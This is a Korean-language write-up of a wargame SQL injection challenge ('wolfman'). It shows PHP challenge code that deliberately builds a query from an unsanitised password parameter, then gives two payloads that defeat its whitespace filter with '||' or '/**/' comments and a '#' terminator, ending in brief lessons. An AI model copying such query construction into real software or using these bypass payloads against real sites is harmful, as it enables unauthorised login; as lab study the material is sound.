문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>id가 guest로 고정되어 있고, pw에 공백 문자가 들어가면 차단됩니다. 클리어 조건은 반환된 id가 admin인 것입니다.
exploit
?pw='||id='admin'%23URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.
?pw=%27||id=%27admin%27%23최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_wolfman where id='guest' and pw=''||id='admin'#'공백을 사용할 수 없기 때문에 or 대신 || 연산자를 사용합니다. 뒤에 남는 따옴표는 # 주석으로 제거합니다.
주석을 공백처럼 사용하는 풀이
SQL에서 /**/ 같은 블록 주석은 파싱 과정에서 공백처럼 토큰을 끊는 역할을 할 수 있습니다. wolfman은 일반 공백 문자만 필터링하므로, 공백 대신 주석을 넣어 or id='admin' 형태를 만들 수 있습니다.
?pw='/**/or/**/id='admin'%23URL 인코딩을 명확히 적용하면 다음과 같습니다.
?pw=%27%2F%2A%2A%2For%2F%2A%2A%2Fid=%27admin%27%23최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_wolfman where id='guest' and pw=''/**/or/**/id='admin'#'DB가 해석할 때 /**/ 부분은 주석으로 제거되고, 결과적으로 아래와 비슷한 의미가 됩니다.
select id from prob_wolfman where id='guest' and pw='' or id='admin'배운 내용
- 공백 필터링이 있어도 SQL 연산자나 URL 인코딩으로 우회할 수 있습니다.
- MySQL에서 기본적으로
||는or처럼 사용할 수 있습니다. /**/블록 주석은 공백 필터링을 우회하는 토큰 구분자로 사용할 수 있습니다.- URL에서
#은 fragment로 처리되므로 파라미터에 넣을 때는%23으로 인코딩해야 합니다.